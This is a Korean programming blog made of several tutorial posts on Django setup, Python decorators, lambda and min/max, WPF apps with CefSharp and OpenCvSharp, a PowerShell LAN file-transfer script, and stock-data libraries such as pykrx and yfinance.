728x90
반응형

기본 Django 개발도구 설치 및 설정

Django가 설치된 환경은 Ubuntu 20.04 LTS 이다. python과 pip등 개발에 필요한 도구들을 설치해준다.

$ sudo apt-get install python3 pip3 venv vim

 

설치 후엔 좀 더 편하게 도구들을 사용하기 위해 .bashrc에 alias를 등록해준다.

각 사용자 계정에 위치한 .bashrc 파일을 열어 ll, la 등의 기본 alias 내용이 있는 곳에 같이 입력해주면 된다.

이 과정은 필수는 아니지만 개인적으로 해두면 편해서 만들어 줬다.

alias python='python3'
alias pip='pip3'
alias vi='vim'

 

입력 후엔 source .bashrc 명령어를 입력해준다.

$ source .bashrc

 


Venv 가상환경에 Django 패키지 설치하기

개발을 시작하기 전에 위에서 같이 설치해준 venv를 사용해서 파이썬 가상환경을 만들어준다.

가상환경을 만들면 프로젝트 단위로 패키지에 대한 관리가 자유롭다.

$ python -m venv test

 

test 라는 이름의 가상환경을 사용자 계정의 기본 경로 (/home/username/)에 만들어 줬다.

환경이 만들어지면 이미지처럼 기본적인 구조가 자동을 만들어진다.

하지만 아직 가상환경의 내부로 들어온 건 아니기 때문에 아래 명령어를 추가로 입력해 줘야 한다.

$ source bin/activate

 

bin 폴더 내부의 activate 스크립트를 실행하면 가상환경에 진입한다.

이제부터 pip로 원하는 패키지를 설치하면 해당 환경 내에서만 설치가된다.

django 설치가 완료되면 bin 폴더에 django-admin이 설치된걸 볼 수 있다.

$ pip install django

 


Django 프로젝트 생성 후 서버 실행

pip를 사용해서 장고를 설치하면 Django-admin이라는 툴이 같이 설치된 걸 볼 수 있다.

이 툴을 사용해 Django 프로젝트를 생성한다.

$ django-admin startproject project_name

 

projcet_name이라는 이름의 프로젝트가 잘 생성되었다.

 

웹서버를 실행해보자.

$ ./manage.py runserver 0:12345

 

빨간색 박스 부분에 migrate 경고가 뜬걸 볼 수 있는데, 실행은 되었기 때문에 다른 PC의 브라우저로 접속해보았다.

참고로 현재 서버는 다른 PC와 같은 공유기 밑에서 같은 c클래스 사설 아이피를 사용한다.

 

서버의 아이피와 포트를 입력해서 접속했지만 ALLOWED_HOSTS에 서버 IP를 추가하라는 경고 문구만 나온다.

위에서 만들어진 project_name/project_name 디렉토리 내부의 settings.py를 열어보면 아래 이미지와 같은 부분이 있다. ALLOWED_HOST =[] 에서 []사이에 서버 접속 시 사용할 주소를 'xxx.xxx.xxx.xxx' 형태로 넣어주면 된다. 

$ vi project_name/settings.py

 

서버를 실행할때 나왔던 경고도 없애주자.

아래 명령어로 migrate하면 된다.

$ ./manage.py makemigrations
$ ./manage.py migrate

 

서버를 실행해주고 다시 브라우저로 접속해보면 아래 이미지처럼 환영한다는 문구와 로켓 그림이 나온다.

 


 

 

728x90
반응형
728x90
반응형

파이썬의 데코레이터란?

먼저 Decorate는 '장식하다' 라는 의미가 있고, 따라서 직역하면 '장식자'라는 의미가 된다. (구글 번역기에서는 a person who decorates something. 로 정의되어 있다.)

파이썬에서도 원래 뜻과 비슷한 의미로 사용되는데 @ 기호로 표현 할 수 있으며, 클래스나 메소드를 정의할 때 많이 사용되어 진다.

데코레이터는 직접 정의하여 사용하거나 미리 정의된 내용을 가져와 사용이 가능하다.

(정의된 데코레이터는 @property, @classmethod, @staticmethod 등이 있다.)

 

데코레이터를 작성하면 원본 메소드의 내용을 수정하지 않고 여러 기능을 추가할 수 있게 된다.

  • 메소드(함수)의 실행시간 측정
  • 실행과 종료에 로그 기능 추가
  • ...

메소드 데코레이터 정의하기

데코레이터는 크게 클래스 데코레이터메소드 데코레이터로 나눠진다.

메소드 데코레이터는 메소드를 장식하기 위한 데코레이터로 기본적인 형태는 아래 코드를 따르게 되며,

def decorator_1(func):
	def wrapped_func():
		func() 
    return wrapped_func()

 

만들어진 데코레이터의 사용은 아래 코드와 같다.

# 메소드 데코레이터 정의
def decorator_1(func):
	def wrapped_func():
		print("start")
		func() 
		print("end")

	return wrapped_func

# 사용
@ decorator_1
def test_func():
	print("logic")

test_func()

 

 

위 사진은 데코레이터를 사용한 결과인데 내용을 보면 가장 마지막 줄에 test_func()을 호출했지만 decorator_1에 내부에 정의된 wrapped_func의 기능이 수행된 것을 볼 수있다.

 

하지만 데코레이터를 사용하는 함수의 매개변수를 바꾸고 실행하면 TypeError가 발생한다.

정상적으로 메소드에 인수를 받아 사용하려면 데코레이터의 수정이 조금 필요하다.

 

아래 코드를 보면 wrapped_func에 *args가 매개변수로 추가되었다.

*을 사용하여 non-keworded arguments 형식으로 인수를 받을 수 있는데 이렇게 사용하면, 키워드가 없는 가변 인수가 되어 여러개의 인수를 받는 것이 가능해진다. (만약 메소드에 키워드가 필요하다면 **(keworded arguments)를 사용) 

def decorator_1(func):
	def wrapped_func(*args):
		print("start - ", func.__name__)
		func(*args) 
		print("end - ", func.__name__)

	return wrapped_func


@ decorator_1
def test_func(str_var, int_tmp, a, b, c):
	print(str_var,  int_tmp, a, b, c)


test_func("test", 12, 1, 2, 3,)

 

위 코드에서 매개변수를 받아 출력을 했지만, test_func 함수의 결과 값은 받아볼 수 없다.

wrapped_func 내부에서 func의 결과 값을 받아 return 해줬다.

def decorator_1(func):
	def wrapped_func(*args):
		print("start - ", func.__name__)
		ret= func(*args) 
		print("end - ", func.__name__)
		return ret
	return wrapped_func


@ decorator_1
def test_func(str_var, int_tmp, a, b, c):
	print(str_var,  int_tmp, a, b, c)
    return a + b


print(test_func("test", 12, 1, 2, 3,))

클래스 데코레이터

 

위에서 작성한 데코레이터를 클래스 내에 넣어 작성해보았다.

메소드 데코레이터와 동일한 기능을 수행하는 것을 볼 수 있다.

class myClass:
	def myClass_LoggingDecorator(func):
		def wrapped_func(*args):
			print("start - ", func.__name__)
			func(*args) 
			print("end - ", func.__name__)
		return wrapped_func

	@ myClass_LoggingDecorator
	def test_func(str_var, int_tmp, a, b, c):
		print(str_var,  int_tmp, a, b, c)


myClass.test_func("test", 12, 1, 2, 3,)


클래스 데코레이터 - 활용

import time
import datetime

class myClass:
	def myClass_RunningtimeDecorator(func):
		def wrap(*args):
			start_r = time.perf_counter()
			start_p = time.process_time()

			ret = func(*args)

			end_r = time.perf_counter()
			end_p = time.process_time()
            
			elapsed_r = end_r - start_r
			elapsed_p = end_p - start_p

			print(f'{func.__name__} : {elapsed_r:.6f}sec (Perf_Counter) / {elapsed_p:.6f}sec (Process Time)')
			return ret
		return wrap

	def myClass_LoggingDecorator(func):
		def wrapped_func(*args):
			file_name = f"log_{datetime.datetime.today().strftime('%Y-%m-%d')}.txt"

			File = open(file_name, "w")
			File.write(f"start - {func.__name__}, DateTime : {datetime.datetime.now()}\n")

			ret = func(*args) 
			
			File.write(f"end - {func.__name__}, DateTime : {datetime.datetime.now()}\n")
			File.close()

			return ret
		return wrapped_func

	#@ myClass_RunningtimeDecorator
	@ myClass_LoggingDecorator
	def test_sum(str_var, a, b):
		print(str_var, a + b)
		return a + b
        

print ("res2 :", myClass.test_sum("res1 :", 1, 2))

LoggingDecorator / RunningtimeDecorator
log file

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[python] JWT 모듈  (0) 2022.09.13
[Python] Yahoo_fin 모듈  (0) 2022.09.11
[Python] Paramiko 모듈  (0) 2022.07.07
[Python] min, max 함수  (0) 2022.03.10
[python] lambda 표현식  (0) 2022.01.07
[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
728x90
반응형

1. UI/ XML

<Window x:Class="youtube_viewer.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:youtube_viewer"
        mc:Ignorable="d"
        Title="YouTube Player" Height="500" Width="800"
        Background="#FFE5E5E5"
        >

    <Grid Name="GridViewer">
        <Grid.RowDefinitions>
            <RowDefinition Height="215*"/>
            <RowDefinition Height="27*"/>
        </Grid.RowDefinitions>

        <Grid Margin="0,3,0,0" Grid.Row="1">
            <Grid.ColumnDefinitions>
                <ColumnDefinition Width="677*"/>
                <ColumnDefinition Width="123*"/>
            </Grid.ColumnDefinitions>

            <Button Name ="btn_play" Margin="5,10,10,10" Content="Play" Click="btn_play_Click" Grid.Column="1"/>
            <TextBox Name="txtbox_url" Margin="10,10,5,10" Grid.Column="0" TextWrapping="Wrap" Text="Input youtube url" Grid.ColumnSpan="1"/>
        </Grid>
    </Grid>
</Window>

2. C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;

namespace youtube_viewer
{
    /// <summary>
    /// MainWindow.xaml에 대한 상호 작용 논리
    /// </summary>
    public partial class MainWindow : Window
    {
        CefSharp.Wpf.ChromiumWebBrowser _browser;
        string str;

        public MainWindow()
        {
            InitializeComponent();

            _browser = new CefSharp.Wpf.ChromiumWebBrowser();
            GridViewer.Children.Add(_browser);
        }

        private void btn_play_Click(object sender, RoutedEventArgs e)
        {
            str = txtbox_url.Text.Split('=')[1].Split('&')[0];

            if (this._browser != null)
            {
                _browser.Address = $"https://www.youtube-nocookie.com/embed/{str}";
            }
        }
    }
}

3. Nuget

cef.redist.x64

728x90
반응형
728x90
반응형

min (max) 함수

파이썬에서는 여러 대상들(리스트 등) 중 가장 큰 값 또는 가장 작은 값을 구하는 함수가 있다.
min, max 함수인데, 아래 방법을 사용하면 이런 함수들을 좀 더 잘(?) 활용할 수 있다.

함수 Parameter에 key=func 주기

list_num = [1, 2, 5, 4, 5, 5, 6, 7, 8, 1]

print(max(list_num, key=list_num.count))

# count가 가장 많은 5가 출력


위 코드는 list_num.count를 list_num을 대상으로 실행하고, 해당 값들의 최대값을 출력한다.
따라서 list_num 내부에 가장 개수가 많은 5가 출력된다.


728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] Yahoo_fin 모듈  (0) 2022.09.11
[Python] Paramiko 모듈  (0) 2022.07.07
[Python] 데코레이터 (@, Decorator)  (0) 2022.03.21
[python] lambda 표현식  (0) 2022.01.07
[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
[Python] FinanceDataReader 모듈  (0) 2021.07.31
728x90
반응형

1. 목적

  • WPF에서 OpenCV를 활용하여 기본 WPF 컨트롤인 Image에 노트북 (또는 USB) 카메라에서 가져온 영상을 Bitmap 형식으로 그려줌
  • 환경 구축 및 빌드는 https://hwan001.tistory.com/144?category=836235 링크 참조

 

2. 코드 (Xaml)

<Window x:Class="WPF.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:WPF"
        Loaded="windows_loaded"
        mc:Ignorable="d"
        Title="MainWindow" Height="400" Width="600">
    <Grid>
        <Image Name="Cam_1" Margin="20,20,20,100"/>
    </Grid>
</Window>

 

3. 코드 (C#)

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;

// OpenCV 사용을 위한 using
using OpenCvSharp;
using OpenCvSharp.WpfExtensions;

// Timer 사용을 위한 using
using System.Windows.Threading;

namespace WPF
{
    // OpenCvSharp 설치 시 Window를 명시적으로 사용해 주어야 함 (window -> System.Windows.Window)
    public partial class MainWindow : System.Windows.Window
    {
    	// 필요한 변수 선언
        VideoCapture cam;
        Mat frame;
        DispatcherTimer timer;
        bool is_initCam, is_initTimer;

        public MainWindow()
        {
            InitializeComponent();
        }

        private void windows_loaded(object sender, RoutedEventArgs e)
        {
            // 카메라, 타이머(0.01ms 간격) 초기화
            is_initCam = init_camera();
            is_initTimer = init_Timer(0.01); 

            // 초기화 완료면 타이머 실행
            if(is_initTimer && is_initCam) timer.Start();
        }

        private bool init_Timer(double interval_ms)
        {
            try
            {
                timer = new DispatcherTimer();

                timer.Interval = TimeSpan.FromMilliseconds(interval_ms);
                timer.Tick += new EventHandler(timer_tick);

                return true;
            }
            catch
            {
                return false;
            }
        }

        private bool init_camera() {
            try {
                // 0번 카메라로 VideoCapture 생성 (카메라가 없으면 안됨)
                cam = new VideoCapture(0);
                cam.FrameHeight = (int)Cam_1.Height;
                cam.FrameWidth = (int)Cam_1.Width;

                // 카메라 영상을 담을 Mat 변수 생성
                frame = new Mat();

                return true;
            }catch{
                return false;
            }
        }

        private void timer_tick(object sender, EventArgs e)
        {
            // 0번 장비로 생성된 VideoCapture 객체에서 frame을 읽어옴
            cam.Read(frame);
            // 읽어온 Mat 데이터를 Bitmap 데이터로 변경 후 컨트롤에 그려줌
            Cam_1.Source = OpenCvSharp.WpfExtensions.WriteableBitmapConverter.ToWriteableBitmap(frame);
        }
    }
}

 

 

4. 결과

결과

728x90
반응형
728x90
반응형

1. 설치 목적

  • WPF에서 OpenCV 최신 버전(2022년 2월 2일 기준) 기능 사용

 

2. 주의점

  • OpenCVSharp4는 여러개의 Nuget으로 나워져 있음
  • 한 개라도 없으면 함수 또는 자료형의 일부를 찾을 수 없음

 

3. 설치 (Nuget Package Manager)


- WPF 환경에서 사용하기 위해 초록색 박스 부분 (OpenCvSharp4, OpenCvSharp4.runtime.win, OpenCvSharp4.WpfExtentions) 설치

- 윈도우 환경이라면 빨간색 박스 부분 설치가 더 간편함 (OpenVcSharp4.Windows)

 

 

4. OpenVcSharp4.Windows (빨간 박스) 설치 완료

참조

 

728x90
반응형
728x90
반응형

1. lambda 표현식 요약

- 함수를 하나의 식으로 표현한 것으로 다른 함수의 매개변수로 전달이 가능함

- 함수의 이름이 없기 때문에 익명 함수라고도 불림

- 함수 표현식 사용할 경우 속도가 저하된다고 함 (정확하지 않음, 재확인 필요)

 

2. 사용법 

# Case 1. lambda 함수 정의 후 매개변수 전달
function_lambda = lambda x : x + 1
print("result : ", function_lambda(1))
# result : 2

# Case 2. 한번에 매개변수 전달
print("result : ", (lambda x : x + 1)(1))
# result : 2

# Case 3. 외부 변수 활용
y = 1
print("result : ", (lambda x : x + y)(1))
# result : 2

# Case 4. 여러개의 매개변수 전달
print("result : ", (lambda x, y : x + y)(1, 1))
# result : 2

# Case 5. max 함수의 매개 변수로 사용
print(max((lambda x : [i for i in range(1, x+1)])(10)))
# 10

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] Paramiko 모듈  (0) 2022.07.07
[Python] 데코레이터 (@, Decorator)  (0) 2022.03.21
[Python] min, max 함수  (0) 2022.03.10
[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
728x90
반응형

패키지 설치

sys와 subprocess를 활용하여 pip를 호출한다. 

아래 코드를 사용할 환경에 python과 pip가 설치되어 있고, 인터넷이 연결되어 있어야 작동한다.

 

import sys
import subprocess

try:
    # 없는 모듈 import시 에러 발생
    import pandas
except:
    # pip 모듈 업그레이드
    subprocess.check_call([sys.executable,'-m', 'pip', 'install', '--upgrade', 'pip'])
    # 에러 발생한 모듈 설치
    subprocess.check_call([sys.executable,'-m', 'pip', 'install', '--upgrade', 'pandas'])
    # 다시 import
    import pandas

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] 데코레이터 (@, Decorator)  (0) 2022.03.21
[Python] min, max 함수  (0) 2022.03.10
[python] lambda 표현식  (0) 2022.01.07
[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
728x90
반응형

1. 개요

 - 같은 라우터 내부에서 외부 인터넷이 제한되었으며, 파일을 공유해야할 때 작성하여 사용

 - 같은 공유기 내부의 사설 IP(Private IP)를 사용하여 TCP 소켓 스트림 방식으로 파일을 송수신함

 

2. 사용법

 - 원하는 경로에 File_Share.ps1, send.bat, recv.bat의 3개 파일을 위치시키고, 동일 위치에 전송할 대상을 send.zip으로 압축해 넣어둔다.

 - 파일을 받을 대상 PC에서 recv.bat을 실행 시키고  send.zip이 위치한 PC에서 send.bat을 실행한다.

 

3. 코드 (파워쉘 스크립트 작성)

# File_Share.ps1
param ( 
    [int] $sel = 1,
    [string] $IP = "127.0.0.1",
    [int] $Port = 29800,
    [String] $Send_FileName = "send.zip",
    [String] $Recv_FileName = "recv.zip"
) 

Function Recv_File {
    Param (
        [int] $Port = 29800,
        [String] $FileName = "recv.zip",
        [int] $ChunkSize = 1mb
    ) 

	# Socket Init
    $endpoint = new-object System.Net.IPEndPoint([ipaddress]::any, $port) 
    $listener = new-object System.Net.Sockets.TcpListener $endPoint
    $listener.start() 

    # 연결 대기
    $data = $listener.AcceptTcpClient() 

	# Stream 설정
    $socket_stream = $data.GetStream() 
    $FileReader = New-Object System.IO.BinaryReader $socket_stream
    $FileStream = [System.IO.FileStream]::new($FileName, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write)
    $Writer = New-Object System.IO.BinaryWriter($FileStream)

    for(){
        $Chunk = $FileReader.ReadBytes($ChunkSize)
        if($Chunk.Length){
            $Writer.Write($Chunk, 0, $Chunk.Length)
        }else{
            break
        }
    }
    
    # Close
    $Writer.Close()  
    $socket_stream.close()
    $listener.stop()
}

Function Send_File { 
    Param ( 
        [string] $IP = "127.0.0.1", 
        [int] $Port = 29800,
        [string] $FileName = "send.zip",
        [int] $ChunkSize = 1mb
    ) 
    
    # Setup connection 
    $EndPoint_IP = [System.Net.Dns]::GetHostAddresses($IP) 
    $Address = [System.Net.IPAddress]::Parse($EndPoint_IP) 
    $Socket = New-Object System.Net.Sockets.TCPClient($Address, $Port) 
    
    # stream 설정
    $Socket_Stream = $Socket.GetStream() 
    $Socket_Writer = New-Object System.IO.BinaryWriter($Socket_Stream)
    $FileInfo = Get-Item -LiteralPath $FileName
    $FileStream = $FileInfo.OpenRead()
    $FileReader = New-Object System.IO.BinaryReader $FileStream
    
    for() {
        $Chunk = $FileReader.ReadBytes($ChunkSize)
        $ChunkSum = 0
                    
        if($Chunk.Length) {
            $Socket_Writer.Write($Chunk, 0, $Chunk.Length)
            $ChunkSum += $Chunk.Length
        }else {
            Write-Host $ChunkSum 'Bytes 전송 완료'
            break;
        }
    }

    # Close
    $Socket_Writer.Close() 
    $FileReader.Close()
    $FileStream.Close()
    $Socket_Writer.Close()
    $Socket_Stream.Close()
}

if($sel -eq 1){
    Write-Host 'Listener'
    Recv_File -Port $Port -FileName $Recv_FileName
}else{
    Write-Host 'Sender'
    Send_File -IP $IP -Port $Port -FileName $Send_FileName
}

 

4. 코드(배치파일 작성)

// listener Start
// recv.bat
#echo off

powershell.exe -File File_Share.ps1 -sel 1

pause
// sender Start
// send.bat
#echo off

powershell.exe -File File_Share.ps1 -sel 2 -IP 127.0.0.1

pause
728x90
반응형
728x90
반응형

1. 개요

 - 윈도우에 파워쉘 ISE가 내장되어 있음

 - 기본 OS 설치 시 별도의 IDE, 인터프리터, 가상머신 등을 설치하지 않고 간단한 기능들을 제작할 수 있음

 

2. ISE

PowerShell ISE

 - 윈도우+R > Powershell 입력 > ISE 입력 후 엔터

 

 

3. 기본 골격

# Power Shell Script Example

function Get-SecurityEvents {
	[CmdletBinding()]
	Param(
		[Parameter(Position=0,Mandatory=$True)]
		[string]$ComputerName,
		[int]$EventID = 4634
	)   
    
    BEGIN 
    {
        $LogName = Read-Host "로그 이름을 입력하세요."        
    }
    
    PROCESS
    {
        Get-EventLog 
        -ComputerName $ComputerName `
        -LogName $LogName |
    	Where-Object -Property EventID -eq $EventID |
    	Select-Object -First 7
    }
    
	END 
    {
    }
}

# 출처: https://blog.flgram.com/827 [RedPlug's Tory]

3-1. param()

- 인수(parameter)를 정의함

- 해당 부분에 추가된 인수들은 파워쉘로 Function을 사용할 때 옵션으로 입력이 가능함

 

3-2. BEGIN{}

- 최초 한번만 실행, 필요 없을 시 공백

- 메모리 할당, 서버 기초 작업 등

 

3-3. PROCESS{}

- 함수의 주 로직이 들어가는 부분 (반복 실행됨)

 

3-4. END{}

- 정리 작업에 해당 하는 구문으로 필요없으면 비워놓는다.

- 메모리, 소켓등의 Close 작업


**출처: https://blog.flgram.com/827 [RedPlug's Tory] 블로그 참고하여 작성함.

 

 

4. 리뷰

 - 파워쉘 기능의 강력함과 편의성을 느낄 수 있었음

728x90
반응형
728x90
반응형

1. 조회 가능 범위

  • 한국거래소(KRX)에 상장된 주식종목 리스트와 코넥스(비상장)에 있는 주식종목 리스트: 'KRX', 'KOSPI', 'KODAQ', 'KONEX'
  • 글로벌 주식종목 리스트: 'NASDAQ', 'NYSE', 'AMEX' and 'S&P500', 'SSE'(상해), 'SZSE'(심천), 'HKEX'(홍콩), 'TSE'(도쿄)
  • 한국거래소의 상장폐지종목과 관리종목 리스트: 'KRX-DELISTING'(상장폐지종목), 'KRX-ADMINISTRATIVE' (관리종목)
  • 한국, 미국, 일본의 ETF 리스트: 'KR', 'US', 'JP'
  • 주가(KRX): '005930'(삼성전자), '091990'(셀트리온헬스케어) ...
  • 주가(Word wide): 'AAPL', 'AMZN', 'GOOG'
  • 지수: 'KS11'(코스피지수), 'KQ11'(코스닥지수), 'DJI'(다우존스지수), 'IXIC'(나스닥지수), 'US500'(S&P 500지수) ...
  • 환율: 'USD/KRX', 'USD/EUR', 'CNY/KRW' ... (조합가능한 화폐별 환율 데이터 일자별)
  • 가상화폐 가격 데이터: 'BTC/USD' (Bitfinex), 'BTC/KRW' (Bithumb)

출처: https://psystat.tistory.com/113 [아카이브]

 

 

2. 달러 환율 계산기

import FinanceDataReader as fdr
import matplotlib.pyplot as plt
from datetime import date, datetime

print(fdr.__version__)
df = fdr.DataReader("USD/KRW", "2020")['Close']
print(df)

a = [date(2020, 1, 1), date(datetime.now().year, datetime.now().month, datetime.now().day)] # 시간
b = [min(df), max(df)] # 원화
c = [sum(df)/len(df), sum(df)/len(df)]

print(df[-1], sum(df)/len(df))

plt.plot(a, c)
plt.plot(df)
plt.show()

2020년 1월 1일부터 현재까지의 환율 그래프

- 현재 환율인 '1154.28원/달러'는 약 2년동안의 평균 환율인 '1157.93원/달러'보다 낮다는 것을 알 수 있다.

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] min, max 함수  (0) 2022.03.10
[python] lambda 표현식  (0) 2022.01.07
[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
728x90
반응형

1. 개요

pykrx : https://github.com/sharebook-kr/pykrx

- KRX 거래소 서버에서 값 받아옴

- 국내 KOSPI, KOSDAQ, KONEX 정보 확인 가능

 

sharebook-kr/pykrx

KRX 주식 정보 스크래핑. Contribute to sharebook-kr/pykrx development by creating an account on GitHub.

github.com

 

2. 설치

pip install pykrx

 

3. 코드

from pykrx import stock

# 원하는 조건의 티커 목록 얻어오기, market 설정 안해줄 경우 기본은 KOSPI
# 아래 조건은 2021년 6월 1일 기준의 KOSDAQ 상장사들의 티커를 받아옴
tickers = stock.get_market_ticker_list("2021-06-01", market="KOSDAQ") #yyyy-MM-dd

# 각 티커들의 종목이름을 확인
for ticker in tickers:
	str_종목이름 = stock.get_market_ticker_name(ticker)
	
    # 시작일~종료일 사이 특정 티커의 OHLCV 정보를 한달 단위로 받아옴 (DateFrame)
    df = stock.get_market_ohlcv_by_date("20210101", "20210601", ticker, "m")
	print(df.head(6))

 ** 더 자세한 정보는 위 링크 참조

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[python] lambda 표현식  (0) 2022.01.07
[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] yfinance 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
[Python] 원 나누기  (0) 2016.10.03
728x90
반응형

1. 개요

yfinance : https://pypi.org/project/yfinance/

- API와 티커 값을 사용해서 해외 주가 정보를 받아올 수 있다.

- 야후에서 제공 (무료)

- 특정 종목(티커)에 해당하는 과거 시점의 모든 데이터를 얻어올 수 있음

- Date, Open, High, Low, Close, Volume, Dividends, Stock Split 정보를 포함

- 애널리스트 평가 정보 가져오기 가능

 

yfinance

Yahoo! Finance market data downloader

pypi.org

 

2. 설치

pip install yfinance

 

3. 사용

yf_GoogleA = yf.Ticker("GOOGL") # AAPL, TSLA, GOOGL ...
yf_Tesla = yf.Ticker("TSLA")
yf_Apple = yf.Ticker("AAPL")

print(yf_GoogleA.dividends) # 배당 내역
print(yf_GoogleA.splits) # 주식분할 내역
print(yf_GoogleA.recommendations) # 애널리스트 분석 정보

# from datetime import *
# 테슬라의 2020-01-01부터 현재 시점까지 데이터를 1주 단위로 가져옴
yf_Tesla_hist = yf_Tesla.history(start="2020-01-01", end=dateTime.now, interval="1wk")

# 장마감 시의 주가 정보만 가져오기
yf_Apple_hist = yf_Apple.history(interval="1wk")['Close']

# 출력, 리스트로 변경하여 인덱스로 데이터 처리가 가능
print(list(yf_Apple_hist)[:])

# import matplotlib.pyplot as plt ,그래프 그리기
plt.plot(yf_Apple_hist)
plt.show()
728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[python] 실행 시 필요한 패키지 자동 설치  (0) 2022.01.01
[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
[Python] 원 나누기  (0) 2016.10.03
[Python] 돌림판  (0) 2016.10.03
728x90
반응형

1. 개요

pycryptodome : https://pycryptodome.readthedocs.io/en/latest/

- 파이썬에서 RSA, hash 등 암호화 관련 기능 제공

 

Welcome to PyCryptodome’s documentation — PyCryptodome 3.9.9 documentation

 

pycryptodome.readthedocs.io

 

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
[Python] 원 나누기  (0) 2016.10.03
[Python] 돌림판  (0) 2016.10.03
[Python] 키로거 + 스크린샷  (0) 2016.09.18
728x90
반응형

1. Visual Studio 2022 Community 설치

.NET 데스크톱 개발 선택 후 설치

 

2. 새 프로젝트 만들기 > WPF 앱 (.NET Framework) 선택

프로젝트 생성


프로젝트 생성 2

 

3. XAML/ 디자인 편집기와 C# 편집기

xaml/디자인 편집기


C# 편집기

 

4. 빌드 및 실행

빌드 및 실행 성공

728x90
반응형
728x90
반응형

1. 개요
 
- 돌림판에 사용될 원 그리기


2. 코드

# -*- coding: utf-8 -*-
import sys
import pygame
import math
from pygame.locals import *

PI = 3.14159265359
R = 200
screenX = 410 
screenY = 410
Ox = screenX / 2
Oy = screenY / 2

# 초당 프레임수를 정의
TARGET_FPS = 30
clock = pygame.time.Clock()

# 색 정의
BLACK = (0, 0, 0)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
WHITE = (255, 255, 255)

# 실수를 더하기 위해서 만들어줌
def myrange(start, end, step):
    r = start
    while(r<end):
        yield r
        r += step

# 인원 수 를 입력받아서 같은 각도로 나눠줌
def auto_line(size):
  a = 360.0 / size # 1명 각도
  # cnt = 0
  tmp = 0 # 각도 누적
  x = 0.0
  y = 0.0
  
  for tmp in myrange(0, 360, a):
      # cnt = cnt + 1

      # 간단한 수학 공식으로 좌표 Get
      x = R * math.cos(math.radians(tmp))
      y = R * math.sin(math.radians(tmp))
      
      #print "[%d] tmp : %.2lf, x : %lf, y : %lf" %(cnt, tmp, x, y)
      pygame.draw.line(screen, BLACK, (Ox, Oy), (Ox+x, Oy+y), 2)


# 라이브러리 및 디스플레이 초기화
pygame.init()

num = raw_input("num : ")
screen = pygame.display.set_mode((screenX, screenY), DOUBLEBUF)
pygame.display.set_caption('Hello World!')  # 타이틀바의 텍스트를 설정

screen.fill(WHITE)
#pygame.draw.line(screen, RED, (Ox, Oy-R*10), (Ox, Oy+R*10), 1) # y
#pygame.draw.line(screen, RED, (Ox-R*10, Oy), (Ox+R*10, Oy), 1) # x

# 메인 루프
while True:
  for event in pygame.event.get():
    # 이벤트를 처리하는 부분
    if event.type == QUIT:
      pygame.quit()
      sys.exit()

  auto_line(int(num)) # 입력받은 인원 수로 원을 나눠줌
  pygame.draw.circle(screen, BLACK, (Ox, Oy), R, 2) # 외부 원
  pygame.draw.circle(screen, BLACK, (Ox, Oy), 20) # 중심 원
  pygame.display.flip()  # 화면 전체를 업데이트
  clock.tick(TARGET_FPS)  # 프레임 수 맞추기

 

생성된 돌림판 이미지 - Alt+Prtsc 으로 캡쳐 후 사용

 

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
[Python] 돌림판  (0) 2016.10.03
[Python] 키로거 + 스크린샷  (0) 2016.09.18
728x90
반응형

1. 개요

 - pygame 라이브러리를 사용하여 윈도우를 그림

 - 스페이스 바로 돌림판의 회전과 정지를 정함

 - 정지 시 천천히 멈춤 (회전각을 0까지 빼줌)

 

2. 코드

 
